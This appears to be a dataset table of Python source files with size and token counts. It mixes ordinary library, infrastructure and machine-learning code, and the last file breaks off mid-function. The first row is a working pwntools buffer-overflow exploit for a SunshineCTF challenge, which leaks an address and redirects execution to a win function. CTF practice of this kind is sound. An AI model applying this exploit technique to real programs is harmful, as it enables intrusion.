text string | size int64 | token_count int64 |
|---|---|---|
#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./chall_05')
if not args.REMOTE:
p = process(binary.path)
else:
p = remote('chal.2020.sunshinectf.org', 30005)
p.sendlineafter('Race, life\'s greatest.\n','foobar')
p.recvuntil('Yes I\'m going to win: ')
_ = p.recvline().strip()
main = int(_,16)
binary.address = main - binary.sym.main
log.info('binary.address: ' + hex(binary.address))
payload = b''
payload += 56 * b'A'
payload += p64(binary.sym.win)
p.sendline(payload)
p.interactive()
| 521 | 221 |
from django.template.loader import render_to_string
from django.utils.safestring import mark_safe
from django.utils.translation import ugettext as _
from wagtail.admin.edit_handlers import EditHandler
class FormSubmissionsPanel(EditHandler):
template = "wagtailforms/edit_handlers/form_responses_panel.html"
def bind_to_model(self, model):
new = super().bind_to_model(model)
if self.heading is None:
new.heading = _('{} submissions').format(model.get_verbose_name())
return new
def render(self):
Submission = self.model.get_submission_class()
submissions = Submission.objects.filter(page=self.instance)
submission_count = submissions.count()
if not submission_count:
return ''
return mark_safe(render_to_string(self.template, {
'self': self,
'submission_count': submission_count,
'last_submit_time': (submissions.order_by('submit_time')
.last().submit_time),
}))
| 1,047 | 301 |
from aws_cdk import (
core as cdk,
aws_elasticache as elasticache,
aws_ec2 as ec2,
)
from aws_cdk.core import Tags
from config import config_util as config
def get_vpc(scope: cdk.Construct) -> ec2.Vpc:
"""
Look up and return the none default vpc.
Args:
scope: the cdk construct.
Returns:
ec2.Vpc: The ec2 VPC object based on the vpc id.
"""
vpc = ec2.Vpc.from_lookup(
scope, "vpc", is_default=False, vpc_id=config.get_vpc_id()
)
return vpc
def get_security_group(scope: cdk.Construct) -> ec2.SecurityGroup:
"""
Create and return the security group for the cluster which allows for any ipv4 and configured port number.
Args:
scope: the cdk construct.
Returns:
ec2.SecurityGroup: The ec2 Security Group object for the cluster.
"""
cluster_name = config.get_cluster_name()
vpc = get_vpc(scope)
security_group = ec2.SecurityGroup(
scope, "ElastiCacheSecurityGroup",
vpc=vpc,
allow_all_outbound=True,
security_group_name=f"elasticache-sg-{cluster_name}",
description=f"Security Group for {cluster_name} ElastiCache Cluster",
)
Tags.of(security_group).add("Name", f"elasticache-sg-{cluster_name}")
for allowed_cidr in config.get_allowed_cidrs():
security_group.add_ingress_rule(
ec2.Peer.ipv4(allowed_cidr),
ec2.Port.tcp(config.get_port_number()),
f"Allows connection to ElastiCache cluster {cluster_name}."
)
return security_group
def get_subnet_group(scope: cdk.Construct) -> elasticache.CfnSubnetGroup:
"""
Create and return the elasticache subnet group.
Args:
scope: the cdk construct.
Returns:
elasticache.CfnSubnetGroup: The subnet group that contains the subnets in vpc.
"""
cluster_name = config.get_cluster_name()
subnet_group = elasticache.CfnSubnetGroup(
scope, "ElastiCacheSubnetGroup",
cache_subnet_group_name=f"{cluster_name}-subnet-group",
description=f"ElastiCache subnet group for {cluster_name}",
subnet_ids=config.get_subnet_ids()
)
return subnet_group
| 2,189 | 728 |
# -*- coding: utf-8 -*-
"""
Extension that adjust project file tree to include a namespace package.
This extension adds a **namespace** option to
:obj:`~pyscaffold.api.create_project` and provides correct values for the
options **root_pkg** and **namespace_pkg** to the following functions in the
action list.
"""
import argparse
import os
from os.path import isdir
from os.path import join as join_path
from .. import templates, utils
from ..api import Extension, helpers
from ..log import logger
class Namespace(Extension):
"""Add a namespace (container package) to the generated package."""
def augment_cli(self, parser):
"""Add an option to parser that enables the namespace extension.
Args:
parser (argparse.ArgumentParser): CLI parser object
"""
parser.add_argument(
self.flag,
dest=self.name,
default=None,
action=create_namespace_parser(self),
metavar="NS1[.NS2]",
help="put your project inside a namespace package")
def activate(self, actions):
"""Register an action responsible for adding namespace to the package.
Args:
actions (list): list of actions to perform
Returns:
list: updated list of actions
"""
actions = helpers.register(actions, enforce_namespace_options,
after='get_default_options')
actions = helpers.register(actions, add_namespace,
before='apply_update_rules')
return helpers.register(actions, move_old_package,
after='create_structure')
def create_namespace_parser(obj_ref):
"""Create a namespace parser.
Args:
obj_ref (Extension): object reference to the actual extension
Returns:
NamespaceParser: parser for namespace cli argument
"""
class NamespaceParser(argparse.Action):
"""Consumes the values provided, but also appends the extension
function to the extensions list.
"""
def __call__(self, parser, namespace, values, option_string=None):
namespace.extensions.append(obj_ref)
# Now the extra parameters can be stored
setattr(namespace, self.dest, values)
# save the namespace cli argument for later
obj_ref.args = values
return NamespaceParser
def enforce_namespace_options(struct, opts):
"""Make sure options reflect the namespace usage."""
opts.setdefault('namespace', None)
if opts['namespace']:
opts['ns_list'] = utils.prepare_namespace(opts['namespace'])
opts['root_pkg'] = opts['ns_list'][0]
opts['qual_pkg'] = ".".join([opts['ns_list'][-1], opts['package']])
return struct, opts
def add_namespace(struct, opts):
"""Prepend the namespace to a given file structure
Args:
struct (dict): directory structure as dictionary of dictionaries
opts (dict): options of the project
Returns:
tuple(dict, dict):
directory structure as dictionary of dictionaries and input options
"""
if not opts['namespace']:
return struct, opts
namespace = opts['ns_list'][-1].split('.')
base_struct = struct
struct = base_struct[opts['project']]['src']
pkg_struct = struct[opts['package']]
del struct[opts['package']]
for sub_package in namespace:
struct[sub_package] = {'__init__.py': templates.namespace(opts)}
struct = struct[sub_package]
struct[opts['package']] = pkg_struct
return base_struct, opts
def move_old_package(struct, opts):
"""Move old package that may be eventually created without namespace
Args:
struct (dict): directory structure as dictionary of dictionaries
opts (dict): options of the project
Returns:
tuple(dict, dict):
directory structure as dictionary of dictionaries and input options
"""
old_path = join_path(opts['project'], 'src', opts['package'])
namespace_path = opts['qual_pkg'].replace('.', os.sep)
target = join_path(opts['project'], 'src', namespace_path)
old_exists = opts['pretend'] or isdir(old_path)
# ^ When pretending, pretend also an old folder exists
# to show a worst case scenario log to the user...
if old_exists and opts['qual_pkg'] != opts['package']:
if not opts['pretend']:
logger.warning(
'\nA folder %r exists in the project directory, and it is '
'likely to have been generated by a PyScaffold extension or '
'manually by one of the current project authors.\n'
'Moving it to %r, since a namespace option was passed.\n'
'Please make sure to edit all the files that depend on this '
'package to ensure the correct location.\n',
opts['package'], namespace_path)
utils.move(old_path, target=target,
log=True, pretend=opts['pretend'])
return struct, opts
| 5,101 | 1,325 |
# encoding: utf-8
from mock import call, patch
from django.template import Template, Context
from django.test import TestCase
from core.models import MockModel
@patch("haystack.templatetags.more_like_this.SearchQuerySet")
class MoreLikeThisTagTestCase(TestCase):
def render(self, template, context):
# Why on Earth does Django not have a TemplateTestCase yet?
t = Template(template)
c = Context(context)
return t.render(c)
def test_more_like_this_without_limit(self, mock_sqs):
mock_model = MockModel.objects.get(pk=3)
template = """{% load more_like_this %}{% more_like_this entry as related_content %}{% for rc in related_content %}{{ rc.id }}{% endfor %}"""
context = {'entry': mock_model}
mlt = mock_sqs.return_value.more_like_this
mlt.return_value = [{"id": "test_id"}]
self.assertEqual("test_id", self.render(template, context))
mlt.assert_called_once_with(mock_model)
def test_more_like_this_with_limit(self, mock_sqs):
mock_model = MockModel.objects.get(pk=3)
template = """{% load more_like_this %}{% more_like_this entry as related_content limit 5 %}{% for rc in related_content %}{{ rc.id }}{% endfor %}"""
context = {'entry': mock_model}
mlt = mock_sqs.return_value.more_like_this
mlt.return_value.__getitem__.return_value = [{"id": "test_id"}]
self.assertEqual("test_id", self.render(template, context))
mlt.assert_called_once_with(mock_model)
mock_sqs.assert_has_calls([call().more_like_this(mock_model),
call().more_like_this().__getitem__(slice(None, 5))],
any_order=True)
def test_more_like_this_for_model(self, mock_sqs):
mock_model = MockModel.objects.get(pk=3)
template = """{% load more_like_this %}{% more_like_this entry as related_content for "core.mock" limit 5 %}{% for rc in related_content %}{{ rc.id }}{% endfor %}"""
context = {'entry': mock_model}
self.render(template, context)
mock_sqs.assert_has_calls([call().models().more_like_this(mock_model),
call().models().more_like_this().__getitem__(slice(None, 5))],
any_order=True)
| 2,324 | 745 |
from django_mako_plus.converter import ParameterConverter
from django_mako_plus import view_function
from django.http import HttpRequest
class RecordingConverter(ParameterConverter):
'''Converter that also records the converted variables for inspecting during testing'''
def convert_parameters(self, *args, **kwargs):
# request is usually args[0], but it can be args[1] when using functools.partial in the decorator
request = args[1] if len(args) >= 2 and isinstance(args[1], HttpRequest) else args[0]
args, kwargs = super().convert_parameters(*args, **kwargs)
request.dmp.converted_params = kwargs
return args, kwargs
| 669 | 177 |
from notebook.utils import url_path_join
from jupyterlab_bigquery.list_items_handler import handlers
from jupyterlab_bigquery.details_handler import DatasetDetailsHandler, TablePreviewHandler, TableDetailsHandler
from jupyterlab_bigquery.version import VERSION
from jupyterlab_bigquery.pagedAPI_handler import PagedQueryHandler
from jupyterlab_bigquery.query_incell_editor import QueryIncellEditor, _cell_magic
__version__ = VERSION
def _jupyter_server_extension_paths():
return [{'module': 'jupyterlab_bigquery'}]
def load_jupyter_server_extension(nb_server_app):
"""
Called when the extension is loaded.
Args:
nb_server_app (NotebookWebApplication): handle to the Notebook webserver instance.
"""
host_pattern = '.*$'
app = nb_server_app.web_app
gcp_v1_endpoint = url_path_join(app.settings['base_url'], 'bigquery', 'v1')
def make_endpoint(endPoint, handler):
return url_path_join(gcp_v1_endpoint, endPoint) + '(.*)', handler
app.add_handlers(
host_pattern,
[
(url_path_join(gcp_v1_endpoint, k) + "(.*)", v)
for (k, v) in handlers.items()
],
)
app.add_handlers(host_pattern, [
# TODO(cbwilkes): Add auth checking if needed.
# (url_path_join(gcp_v1_endpoint, auth'), AuthHandler)
make_endpoint('list', ListHandler),
make_endpoint('datasetdetails', DatasetDetailsHandler),
make_endpoint('tabledetails', TableDetailsHandler),
make_endpoint('tablepreview', TablePreviewHandler),
make_endpoint('query', PagedQueryHandler)
])
def load_ipython_extension(ipython):
"""Called by IPython when this module is loaded as an IPython extension."""
ipython.register_magic_function(
_cell_magic, magic_kind="line", magic_name="bigquery_editor"
)
ipython.register_magic_function(
_cell_magic, magic_kind="cell", magic_name="bigquery_editor"
)
| 1,953 | 614 |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import django_fields.fields
class Migration(migrations.Migration):
dependencies = [
('ios_notifications', '0003_notification_loc_payload'),
]
operations = [
migrations.AlterField(
model_name='apnservice',
name='passphrase',
field=django_fields.fields.EncryptedCharField(help_text=b'Passphrase for the private key', max_length=101, null=True, blank=True),
preserve_default=True,
),
]
| 581 | 176 |
# Copyright (c) 2017-present, Facebook, Inc.
# All rights reserved.
#
# This source code is licensed under the license found in the LICENSE file in
# the root directory of this source tree. An additional grant of patent rights
# can be found in the PATENTS file in the same directory.
import editdistance
import os
import sys
import torch
from fairseq.data import AddTargetDataset, Dictionary, FileAudioDataset, encoders
from fairseq.data.data_utils import post_process
from . import LegacyFairseqTask, register_task
from .. import utils
from ..logging import metrics
class LabelEncoder(object):
def __init__(self, dictionary):
self.dictionary = dictionary
def __call__(self, label):
return self.dictionary.encode_line(
label, append_eos=False, add_if_not_exist=False
)
@register_task("audio_pretraining")
class AudioPretrainingTask(LegacyFairseqTask):
""""""
@staticmethod
def add_args(parser):
"""Add task-specific arguments to the parser."""
parser.add_argument("data", help="path to data directory")
parser.add_argument(
"--sample-rate",
default=16000,
type=int,
help="target sample rate. audio files will be up/down sampled to this rate",
)
parser.add_argument(
"--normalize",
action="store_true",
help="if set, normalizes input to have 0 mean and unit variance",
)
parser.add_argument(
"--max-sample-size",
default=None,
type=int,
help="max sample size to crop to for batching. default = min sample length",
)
parser.add_argument(
"--min-sample-size",
default=None,
type=int,
help="min sample size to crop to for batching. default = same as --max-sample-size",
)
parser.add_argument(
"--enable-padding",
action="store_true",
help="pad shorter samples instead of cropping",
)
parser.add_argument(
"--labels",
type=str,
default=None,
help="extension of the label file to load, if any",
)
# Options for reporting WER metrics during validation. Only applicable to
# Seq2Seq models during fine-tuning
parser.add_argument(
"--eval-wer",
action="store_true",
help="compute WER for Seq2Seq models",
)
parser.add_argument(
"--eval-wer-remove-bpe",
default="letter",
help="remove BPE tokens before scoring (can be sentencepiece, letter, and more)",
)
def __init__(self, args, source_dictionary=None, target_dictionary=None):
super().__init__(args)
self._target_dictionary = target_dictionary
self._source_dictionary = source_dictionary
self.is_ctc = args.criterion == "ctc"
if getattr(self.args, "eval_wer", False):
assert args.labels is not None, "eval_wer can only be set during fine-tuning"
@classmethod
def setup_task(cls, args, **kwargs):
"""Setup the task (e.g., load dictionaries).
Args:
args (omegaconf.DictConfig): parsed command-line arguments
"""
if args.labels:
dict_path = os.path.join(args.data, f"dict.{args.labels}.txt")
target_dictionary = Dictionary.load(dict_path)
else:
target_dictionary = None
return cls(args, target_dictionary=target_dictionary)
def load_dataset(self, split, **kwargs):
"""Load a given dataset split.
Args:
split (str): name of the split (e.g., train, valid, test)
"""
manifest = os.path.join(self.args.data, "{}.tsv".format(split))
self.datasets[split] = FileAudioDataset(
manifest,
sample_rate=self.args.sample_rate,
max_sample_size=self.args.max_sample_size,
min_sample_size=self.args.max_sample_size,
min_length=self.args.min_sample_size,
pad=self.args.labels is not None or self.args.enable_padding,
normalize=self.args.normalize,
)
if self.args.labels:
label_path = os.path.join(self.args.data, f"{split}.{self.args.labels}")
labels = []
with open(label_path, "r") as f:
for line in f:
labels.append(line)
process_label = LabelEncoder(self.target_dictionary)
self.datasets[split] = AddTargetDataset(
self.datasets[split],
labels,
pad=self.target_dictionary.pad(),
eos=self.target_dictionary.eos(),
batch_targets=True,
process_label=process_label,
add_to_input=not self.is_ctc,
)
@property
def source_dictionary(self):
return self._source_dictionary
@property
def target_dictionary(self):
"""Return the :class:`~fairseq.data.Dictionary` for the language
model."""
return self._target_dictionary
def max_positions(self):
"""Maximum input length supported by the encoder."""
return (sys.maxsize, sys.maxsize)
def filter_indices_by_size(
self,
indices,
dataset,
max_positions=None,
ignore_invalid_inputs=False,
):
# we do not need to filter by size in this task as dataloaders take care of this
return indices
def valid_step(self, sample, model, criterion):
loss, sample_size, logging_output = super().valid_step(sample, model, criterion)
if getattr(self.args, "eval_wer", False) and not self.is_ctc:
metrics = self._inference_with_wer(self.sequence_generator, sample, model)
logging_output["_num_char_errors"] = metrics["num_char_errors"]
logging_output["_num_chars"] = metrics["num_chars"]
logging_output["_num_word_errors"] = metrics["num_word_errors"]
logging_output["_num_words"] = metrics["num_words"]
return loss, sample_size, logging_output
def build_model(self, args):
model = super().build_model(args)
if getattr(args, 'eval_wer', False) and not self.is_ctc:
self.sequence_generator = self.build_generator([model], args, )
self.tokenizer = encoders.build_tokenizer(args)
return model
def _inference_with_wer(self, generator, sample, model):
def decode(toks, escape_unk=True):
s = self.target_dictionary.string(
toks.int().cpu(),
self.args.eval_wer_remove_bpe,
escape_unk=escape_unk,
extra_symbols_to_ignore={generator.eos},
)
if self.tokenizer:
s = self.tokenizer.decode(s)
return s
num_word_errors, num_char_errors = 0, 0
num_chars, num_words = 0, 0
gen_out = self.inference_step(generator, [model], sample, None)
for i in range(len(gen_out)):
hyp = decode(gen_out[i][0]["tokens"])
ref = decode(
utils.strip_pad(sample["target"][i], self.target_dictionary.pad()),
escape_unk=True,
)
hyp = post_process(hyp, self.args.eval_wer_remove_bpe).strip("_")
ref = post_process(ref, self.args.eval_wer_remove_bpe).strip("_")
num_char_errors += editdistance.eval(hyp, ref)
num_chars += len(ref)
hyp_words = hyp.split("_")
ref_words = ref.split("_")
num_word_errors += editdistance.eval(hyp_words, ref_words)
num_words += len(ref_words)
return {
"num_char_errors": num_char_errors,
"num_chars": num_chars,
"num_word_errors": num_word_errors,
"num_words": num_words,
}
def reduce_metrics(self, logging_outputs, criterion):
super().reduce_metrics(logging_outputs, criterion)
zero = torch.scalar_tensor(0.)
num_char_errors = sum(log.get("_num_char_errors", zero) for log in logging_outputs)
num_chars = sum(log.get("_num_chars", zero) for log in logging_outputs)
num_word_errors = sum(log.get("_num_word_errors", zero) for log in logging_outputs)
num_words = sum(log.get("_num_words", zero) for log in logging_outputs)
metrics.log_scalar("_num_char_errors", num_char_errors)
metrics.log_scalar("_num_chars", num_chars)
metrics.log_scalar("_num_word_errors", num_word_errors)
metrics.log_scalar("_num_words", num_words)
if num_words > 0:
metrics.log_derived(
"uer",
lambda meters: meters["_num_char_errors"].sum * 100.0 / meters["_num_chars"].sum
if meters["_num_chars"].sum > 0 else float("nan")
)
metrics.log_derived(
"wer",
lambda meters: meters["_num_word_errors"].sum * 100.0 / meters["_num_words"].sum
if meters["_num_words"].sum > 0 else float("nan")
)
| 9,232 | 2,681 |
# -*- coding: utf-8 -*-
# SenseNets is pleased to support the open source community by making caffe-int8-convert-tool available.
#
# Copyright (C) 2018 SenseNets Technology Ltd. All rights reserved.
#
# Licensed under the BSD 3-Clause License (the "License"); you may not use this file except
# in compliance with the License. You may obtain a copy of the License at
#
# https://opensource.org/licenses/BSD-3-Clause
#
# Unless required by applicable law or agreed to in writing, software distributed
# under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
# CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
"""
Quantization module for generating the calibration tables will be used by
quantized (INT8) models from FP32 models.
This tool is based on Caffe Framework.
"""
from __future__ import division
from __future__ import print_function
import argparse
import numpy as np
import math, copy
import matplotlib.pyplot as plt
import sys,os
import caffe
import caffe.proto.caffe_pb2 as caffe_pb2
import time
import datetime
from google.protobuf import text_format
def parse_args():
parser = argparse.ArgumentParser(
description='find the pretrained caffe models int8 quantize scale value')
parser.add_argument('--proto', dest='proto',
help="path to deploy prototxt.", type=str)
parser.add_argument('--model', dest='model',
help='path to pretrained weights', type=str)
parser.add_argument('--mean', dest='mean',
help='value of mean', type=float, nargs=3)
parser.add_argument('--norm', dest='norm',
help='value of normalize', type=float, nargs=1, default=1.0)
parser.add_argument('--images', dest='images',
help='path to calibration images', type=str)
parser.add_argument('--output', dest='output',
help='path to output calibration table file', type=str, default='calibration-dev.table')
parser.add_argument('--group', dest='group',
help='enable the group scale', type=int, default=0)
parser.add_argument('--gpu', dest='gpu',
help='use gpu to forward', type=int, default=0)
args = parser.parse_args()
return args, parser
global args, parser
args, parser = parse_args()
# global params
QUANTIZE_NUM = 127
STATISTIC = 1
INTERVAL_NUM = 2048
# ugly global params
quantize_layer_lists = []
class QuantizeLayer:
def __init__(self, name, blob_name, group_num):
self.name = name
self.blob_name = blob_name
self.group_num = group_num
self.weight_scale = [0 for x in range(0, group_num)]
self.blob_max = [0 for x in range(0, group_num)]
self.blob_distubution_interval = [0 for x in range(0, group_num)]
self.blob_distubution = [[0 for col in range(INTERVAL_NUM)] for row in range(group_num)]
self.blob_scale = [1 for x in range(0, group_num)]
self.group_zero = [0 for x in range(0, group_num)]
def quantize_weight(self, weight_data):
# spilt the weight data by group num
blob_group_data = np.array_split(weight_data, self.group_num)
for i, group_data in enumerate(blob_group_data):
max_val = np.max(group_data)
min_val = np.min(group_data)
threshold = max(abs(max_val), abs(min_val))
if threshold < 0.0001:
self.weight_scale[i] = 0
self.group_zero[i] = 1
else:
self.weight_scale[i] = QUANTIZE_NUM / threshold
print("%-20s group : %-5d max_val : %-10f scale_val : %-10f" % (self.name + "_param0", i, threshold, self.weight_scale[i]))
def initial_blob_max(self, blob_data):
# spilt the blob data by group num
blob_group_data = np.array_split(blob_data, self.group_num)
# interval for per bottom blob group channel
for i, group_data in enumerate(blob_group_data):
max_val = np.max(group_data)
min_val = np.min(group_data)
self.blob_max[i] = max(self.blob_max[i], max(abs(max_val), abs(min_val)))
def initial_blob_distubution_interval(self):
for i in range(0, self.group_num):
if self.blob_max[i] < 0.000001:
self.blob_scale[i] = 0
self.group_zero[i] = 1
self.blob_distubution_interval[i] = 0
else:
self.blob_distubution_interval[i] = STATISTIC * self.blob_max[i] / INTERVAL_NUM
print("%-20s group : %-5d max_val : %-10.8f distribution_intervals : %-10.8f" % (self.name, i, self.blob_max[i], self.blob_distubution_interval[i]))
def initial_histograms(self, blob_data):
# spilt the blob data by group num
blob_group_data = np.array_split(blob_data, self.group_num)
# interval for per bottom blob group channel
for i, group_data in enumerate(blob_group_data):
if self.blob_scale[i] == 0:
continue
else:
# collect histogram of every group channel blob
add_to_distribution(group_data, self.blob_distubution[i], self.blob_distubution_interval[i])
def quantize_blob(self):
# calculate threshold
for i in range(0, self.group_num):
# sparse DepthwiseConvolution
if self.blob_scale[i] == 0:
print("%-20s group : %-5d bin : %-8d threshold : %-10f interval : %-10f scale : %-10f" % (self.name, i, 0, 0, self.blob_distubution_interval[i], self.blob_scale[i]))
else:
# normalize distributions
normalize_distribution(self.blob_distubution[i])
distribution = np.array(self.blob_distubution[i])
# pick threshold which minimizes KL divergence
threshold_bin = threshold_distribution(distribution)
threshold = (threshold_bin + 0.5) * self.blob_distubution_interval[i]
# get the activation calibration value
self.blob_scale[i] = QUANTIZE_NUM / threshold
print("%-20s group : %-5d bin : %-8d threshold : %-10f interval : %-10f scale : %-10f" % (self.name, i, threshold_bin, threshold, self.blob_distubution_interval[i], self.blob_scale[i]))
def display_sparse_info(self):
count = 0
for i in range(self.group_num):
if self.group_zero[i] != 0:
count += 1
print("%-20s group total : %-8d group sparse : %-8d ratio : %-6.2f " % (self.name, self.group_num, count, count / float(self.group_num) * 100))
def save_calibration(file_path):
pass
def add_to_distribution(blob, distribution, interval):
"""
add the distribution
Args:
blob: the output blob of caffe layer
distribution: a list ,size is 2048
interval: a float number
Returns:
none
"""
max_index = len(distribution) - 1
indexes = np.minimum((np.abs(blob[blob!=0]) / interval).astype(np.int32), max_index)
for index in indexes:
distribution[index] = distribution[index] + 1
def normalize_distribution(distribution):
"""
Normalize the input list
Args:
distribution: a list ,size is 2048
Returns:
none
"""
num_sum = sum(distribution)
for i, data in enumerate(distribution):
distribution[i] = data / float(num_sum)
def compute_kl_divergence(dist_a, dist_b):
"""
Returen kl_divergence between
Args:
dist_a: list original
dist_b: list expand
Returns:
kl_divergence: float, kl_divergence
"""
nonzero_inds = dist_a != 0
return np.sum(dist_a[nonzero_inds] * np.log(dist_a[nonzero_inds] / dist_b[nonzero_inds]))
def threshold_distribution(distribution, target_bin=128):
"""
Returen the best cut off num of bin
Args:
distribution: list, activations has been processed by histogram and normalize,size is 2048
target_bin: int, the num of bin that is used by quantize, Int8 default value is 128
Returns:
target_threshold: int, num of bin with the minimum KL
"""
target_threshold = target_bin
min_kl_divergence = 1000
length = distribution.size
quantize_distribution = np.zeros(target_bin)
threshold_sum = 0.0
threshold_sum = sum(distribution[target_bin:])
for threshold in range(target_bin, length):
t_distribution = copy.deepcopy(distribution[:threshold])
t_distribution[threshold-1] = t_distribution[threshold-1] + threshold_sum
threshold_sum = threshold_sum - distribution[threshold]
# ************************ threshold ************************
quantize_distribution = np.zeros(target_bin)
num_per_bin = threshold / target_bin
for i in range(0, target_bin):
start = i * num_per_bin
end = start + num_per_bin
left_upper = (int)(math.ceil(start))
if(left_upper > start):
left_scale = left_upper - start
quantize_distribution[i] += left_scale * distribution[left_upper - 1]
right_lower = (int)(math.floor(end))
if (right_lower < end):
right_scale = end - right_lower
quantize_distribution[i] += right_scale * distribution[right_lower]
for j in range(left_upper, right_lower):
quantize_distribution[i] += distribution[j]
# ************************ threshold ************************
# ************************ quantize ************************
expand_distribution = np.zeros(threshold, dtype=np.float32)
for i in range(0, target_bin):
start = i * num_per_bin
end = start + num_per_bin
count = 0
left_upper = (int)(math.ceil(start))
left_scale = 0.0
if (left_upper > start):
left_scale = left_upper - start
if (distribution[left_upper - 1] != 0):
count += left_scale
right_lower = (int)(math.floor(end))
right_scale = 0.0
if (right_lower < end):
right_scale = end - right_lower
if (distribution[right_lower] != 0):
count += right_scale
for j in range(left_upper, right_lower):
if (distribution[j] != 0):
count = count + 1
if count == 0:
continue;
expand_value = quantize_distribution[i] / count
if (left_upper > start):
if (distribution[left_upper - 1] != 0):
expand_distribution[left_upper - 1] += expand_value * left_scale
if (right_lower < end):
if (distribution[right_lower] != 0):
expand_distribution[right_lower] += expand_value * right_scale
for j in range(left_upper, right_lower):
if (distribution[j] != 0):
expand_distribution[j] += expand_value
# ************************ quantize ************************
kl_divergence = compute_kl_divergence(t_distribution, expand_distribution)
if kl_divergence < min_kl_divergence:
min_kl_divergence = kl_divergence
target_threshold = threshold
return target_threshold
def net_forward(net, image_path, transformer):
"""
network inference and statistics the cost time
Args:
net: the instance of Caffe inference
image_path: a image need to be inference
transformer:
Returns:
none
"""
# load image
image = caffe.io.load_image(image_path)
# transformer.preprocess the image
net.blobs['data'].data[...] = transformer.preprocess('data',image)
# net forward
start = time.clock()
output = net.forward()
end = time.clock()
print("%s forward time : %.3f s" % (image_path, end - start))
def file_name(file_dir):
"""
Find the all file path with the directory
Args:
file_dir: The source file directory
Returns:
files_path: all the file path into a list
"""
files_path = []
for root, dir, files in os.walk(file_dir):
for name in files:
file_path = root + "/" + name
print(file_path)
files_path.append(file_path)
return files_path
def network_prepare(net, mean, norm):
"""
instance the prepare process param of caffe network inference
Args:
net: the instance of Caffe inference
mean: the value of mean
norm: the value of normalize
Returns:
none
"""
print("Network initial")
img_mean = np.array(mean)
# initial transformer
transformer = caffe.io.Transformer({'data': net.blobs['data'].data.shape})
# convert shape from RBG to BGR
transformer.set_transpose('data', (2,0,1))
# load meanfile
transformer.set_mean('data', img_mean)
# resize image data from [0,1] to [0,255]
transformer.set_raw_scale('data', 255)
# convert RGB -> BGR
transformer.set_channel_swap('data', (2,1,0))
# normalize
transformer.set_input_scale('data', norm)
return transformer
def weight_quantize(net, net_file, group_on):
"""
CaffeModel convolution weight blob Int8 quantize
Args:
net: the instance of Caffe inference
net_file: deploy caffe prototxt
Returns:
none
"""
print("\nQuantize the kernel weight:")
# parse the net param from deploy prototxt
params = caffe_pb2.NetParameter()
with open(net_file) as f:
text_format.Merge(f.read(), params)
for i, layer in enumerate(params.layer):
if i == 0:
if layer.type != "Input":
raise ValueError("First layer should be input")
# find the convolution 3x3 and 1x1 layers to get out the weight_scale
if(layer.type == "Convolution" or layer.type == "ConvolutionDepthwise"):
kernel_size = layer.convolution_param.kernel_size[0]
if(kernel_size == 3 or kernel_size == 1):
weight_blob = net.params[layer.name][0].data
# initial the instance of QuantizeLayer Class lists,you can use enable group quantize to generate int8 scale for each group layer.convolution_param.group
if (group_on == 1):
quanitze_layer = QuantizeLayer(layer.name, layer.bottom[0], layer.convolution_param.group)
else:
quanitze_layer = QuantizeLayer(layer.name, layer.bottom[0], 1)
# quantize the weight value
quanitze_layer.quantize_weight(weight_blob)
# add the quantize_layer into the save list
quantize_layer_lists.append(quanitze_layer)
return None
def activation_sparse(net, transformer, images_files):
"""
Activation bottom blob sparse analyze
Args:
net: the instance of Caffe inference
transformer:
images_files: calibration dataset
Returns:
none
"""
print("\nAnalyze the sparse info of the Activation:")
# run float32 inference on calibration dataset to find the activations range
for i , image in enumerate(images_files):
net_forward(net, image, transformer)
print("loop stage 1 : %d" % (i))
# find max threshold
for layer in quantize_layer_lists:
blob = net.blobs[layer.blob_name].data[0].flatten()
layer.initial_blob_max(blob)
# calculate statistic blob scope and interval distribution
for layer in quantize_layer_lists:
layer.initial_blob_distubution_interval()
return None
def activation_quantize(net, transformer, images_files):
"""
Activation Int8 quantize, optimaize threshold selection with KL divergence,
given a dataset, find the optimal threshold for quantizing it.
Ref: http://on-demand.gputechconf.com/gtc/2017/presentation/s7310-8-bit-inference-with-tensorrt.pdf
Args:
net: the instance of Caffe inference
transformer:
images_files: calibration dataset
Returns:
none
"""
print("\nQuantize the Activation:")
# run float32 inference on calibration dataset to find the activations range
for i , image in enumerate(images_files):
net_forward(net, image, transformer)
print("loop stage 1 : %d" % (i))
# find max threshold
for layer in quantize_layer_lists:
blob = net.blobs[layer.blob_name].data[0].flatten()
layer.initial_blob_max(blob)
# calculate statistic blob scope and interval distribution
for layer in quantize_layer_lists:
layer.initial_blob_distubution_interval()
# for each layers
# collect histograms of activations
print("\nCollect histograms of activations:")
for i, image in enumerate(images_files):
net_forward(net, image, transformer)
print("loop stage 2 : %d" % (i))
start = time.clock()
for layer in quantize_layer_lists:
blob = net.blobs[layer.blob_name].data[0].flatten()
layer.initial_histograms(blob)
end = time.clock()
print("add cost %.3f s" % (end - start))
# calculate threshold with KL divergence
for layer in quantize_layer_lists:
layer.quantize_blob()
return None
def save_calibration_file(calibration_path):
calibration_file = open(calibration_path, 'w')
# save temp
save_temp = []
# save weight scale
for layer in quantize_layer_lists:
save_string = layer.name + "_param_0"
for i in range(layer.group_num):
save_string = save_string + " " + str(layer.weight_scale[i])
save_temp.append(save_string)
# save bottom blob scales
for layer in quantize_layer_lists:
save_string = layer.name
for i in range(layer.group_num):
save_string = save_string + " " + str(layer.blob_scale[i])
save_temp.append(save_string)
# save into txt file
for data in save_temp:
calibration_file.write(data + "\n")
calibration_file.close()
def usage_info():
"""
usage info
"""
print("Input params is illegal...╮(╯3╰)╭")
print("try it again:\n python caffe-int8-scale-tools.py -h")
def main():
"""
main function
"""
# time start
time_start = datetime.datetime.now()
print(args)
if args.proto == None or args.model == None or args.mean == None or args.images == None:
usage_info()
return None
# deploy caffe prototxt path
net_file = args.proto
# trained caffemodel path
caffe_model = args.model
# mean value
mean = args.mean
# norm value
norm = 1.0
if args.norm != 1.0:
norm = args.norm[0]
# calibration dataset
images_path = args.images
# the output calibration file
calibration_path = args.output
# enable the group scale
group_on = args.group
# default use CPU to forwark
if args.gpu != 0:
caffe.set_device(0)
caffe.set_mode_gpu()
# initial caffe net and the forword model(GPU or CPU)
net = caffe.Net(net_file,caffe_model,caffe.TEST)
# prepare the cnn network
transformer = network_prepare(net, mean, norm)
# get the calibration datasets images files path
images_files = file_name(images_path)
# quanitze kernel weight of the caffemodel to find it's calibration table
# weight_quantize(net, net_file)
weight_quantize(net, net_file, group_on)
# quantize activation value of the caffemodel to find it's calibration table
